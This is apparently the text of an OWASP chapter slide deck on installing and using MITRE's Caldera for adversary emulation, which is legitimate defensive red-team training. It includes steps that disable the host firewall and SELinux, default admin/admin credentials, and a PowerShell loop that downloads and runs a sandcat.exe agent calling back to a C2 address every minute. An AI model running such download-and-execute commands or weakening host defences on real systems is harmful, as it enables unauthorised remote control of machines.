South Dakota OWASP
Adversary Emulation
with
MITRE’s Caldera

Michael Klosterman, MBA, CISSP, CSSLP, CISA, GCIH, GNFA, GPEN
1985-1998
- IBM 3083 & 4381 Operator
- AFSCN Operator
- IBM Mainframe Performance and Capacity Planning

1999-2002
- AIX/Unix Sysadmin
- Windows LAN networking
- Small Bus. Consulting
- System and Network Architect
- System and Network Architect – re-architect and rebuild

2002-2005
- OMNISHIFT
- System and Network Architect – re-architect and rebuild
- ISP System & Network Architect – Helpdesk
- SCADA C++ / C# Software Developer

2006-2012
- Windows Server Farm / IIS Engineer
- Windows Server Farm / IIS Support
- Bachelors of Science in IT and Network Management
- Masters in Business Administration (MBA) Specializing in Project Mgmt

2012-NOW
- SCADA C++ / C# Software Developer
- Windows Server Farm / IIS Engineer
- Windows Server Farm / IIS Support
- Bachelors of Science in IT and Network Management
- Masters in Business Administration (MBA) Specializing in Project Mgmt
Adversary Emulation with MITRE’s Caldera

Outline

Caldera:
• What Is It?
• Why Do We Need It?
• Who Made It?
• Where Can We ..........
• Server Install
• Caldera Overview from the Web GUI
CALDERA offers an intelligent, automated adversary emulation system that can reduce resources needed by security teams for routine testing, freeing them to address other critical problems.

CALDERA can be used to test endpoint security solutions and assess a network's security posture against the common post-compromise adversarial techniques contained in the ATT&CK model. CALDERA leverages the ATT&CK model to identify and replicate adversary behaviors as if a real intrusion is occurring.
Caldera – Why Do We Need It?

• (it)...enables automated assessments of a network's susceptibility to adversary success, allowing organizations to see their networks through the eyes of an advanced persistent threat on-demand and to verify defenses and security configuration based upon known threat techniques.

• Use of CALDERA can reduce resources needed for assessments and allow red teams to focus on sophisticated solutions to harder problems.

• It will also allow organizations to more rapidly tune behavioral-based intrusion detection systems as they are deployed.

<Citation Link>  <List of Adversary Emulation Tools>
Caldera – Who Made It?

Andy Applebaum, PhD.
Lead Cybersecurity Engineer
MITRE

Type: Not-for-profit corporation
Founded: 1958; 61 years ago
Headquarters: Bedford, Massachusetts and McLean, Virginia, United States
Key people: Jason Providakes President and CEO
Revenue: US$ 1.484 billion[1]
Number of employees: 8,425[2]
Website: www.mitre.org
Caldera – Where Can We …..

•……Run This?
  • Only in Development environments, unless you are authorized!

•……Get This?
  • Download from github.com

•……See How to Install and Run This?
  • We’ll be showing you the installation and use
Caldera – Server Installation

https://github.com/mitre/caldera

Requirements

- Python 3.5.1+
- Google Chrome is our only supported/TESTED browser

Installation

Start by cloning this repository recursively. This will pull all available plugins.

```bash
git clone https://github.com/mitre/caldera.git --recursive
```

From the root of this project, install the PIP requirements.

```bash
pip install -r requirements.txt
```

Then start the server.

```bash
python server.py
```
Caldera – Server Installation……..
Caldera – Server Installation

b. Disable Firewalld (** DEV ONLY **)

```
systemctl stop firewalld && systemctl disable firewalld &
systemctl mask --now firewalld && firewall-cmd --state
```

c. Disable SELinux (** DEV ONLY **)

```
setstatus

i. Disable SELinux from starting
   1. vi /etc/selinux/config

   SELINUX=disabled

ii. Reboot

   reboot
```
Caldera – Server Installation

f. Git Clone the Caldera Source on the CentOS 7.x Server

i. Copy the source to the server, in the /opt directory

```
$ cd /opt && git clone https://github.com/mikro/caldera.git --recursive
```

g. Install the requirements

```
$ cd /opt/caldera
$ python3.8 -m pip install -r requirements.txt
```

h. OPTIONAL - make server available from other systems

i. vi /opt/caldera/conf/local.yml

Change from:
host: 127.0.0.1

Change to:
host: 0.0.0.0

```
[root@caldera-server miklosterman]# cat /opt/caldera/caldera/caldera.py

```
Caldera – Server Installation

i. Start the Caldera Server

```
# /opt/caldera
python3.8 server.py
```

j. Access the Caldera Server

iii. Open a web browser

ii. Navigate to the IP address of the Caldera server

1. Username: admin
2. Password: admin

```
[root@caldera server]# cat /opt/caldera/caldera/caldera.py
```

caldera

```
usage:
caldera.py
caldera.py -d | --debug
caldera.py -h | --help
```
Caldera – Server Installation

```
[root@localhost ~]# cat startCaldera.sh
#!/bin/bash
cd /opt/caldera
python3.6 server.py
```

```
[root@localhost ~]# bash startCaldera.sh
DEBUG:root:Loading plugin: stockpile
DEBUG:root:Loading plugin: sandcat
DEBUG:root:Loading plugin: gui
DEBUG:root:Loading plugin: chain
DEBUG:root:Loading plugin: caltack
DEBUG:root:Uploaded files will be put in /tmp
DEBUG:root:Serving at http://0.0.0.0:8888
```

```
[root@caldera server mklosterman]# cat /opt/caldera/caldera/caldera.py
```

```
usage:
caldera.py
  caldera.py -d | --debug
  caldera.py -h | --help
```
Caldera – Server Installation........
Caldera – Windows AD and AD Client
Caldera – Windows AD and AD Client

```bash
while($true) {
    $wc.Headers.add("file","sandcat.exe");
    $output = "C:\Users\Public\sandcat.exe";
    $wc.DownloadFile($url,$output);
    C:\\Users\\Public\\sandcat.exe http://192.168.111.236:8888 my_group;
    sleep 60
}
```
Caldera – Server Overview....
Caldera – Server Overview….
Caldera – Server Overview....
Caldera – Server Overview....

https://attack.mitre.org/

MITRE ATT&CK™ is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, government, and in the cybersecurity product and service community.

With the creation of ATT&CK, MITRE is fulfilling its mission to solve problems for a safer world by bringing communities together to develop more effective cybersecurity. ATT&CK is open and available to any person or organization for use at no charge.
Caldera – Server Overview....
Caldera – Server Overview
Caldera – Server Overview....
Caldera – Server Overview....
Caldera – Server Overview....
Caldera – Server Overview....
Caldera – Server Overview....
Caldera – Server Overview....
Caldera – Server Overview….
Caldera – Server Overview....
Caldera – Server Overview
Caldera – Server Overview
Caldera – Review

• Can I Run This at Work?
  • Only in Development environments, unless you are authorized!

• How Do Get This?
  • Download from github.com

• Can You Install and Run This?
  • Easily! (though you’ll need a few systems or a VM than can host them)
Adversary Emulation with MITRE’s Caldera

Questions?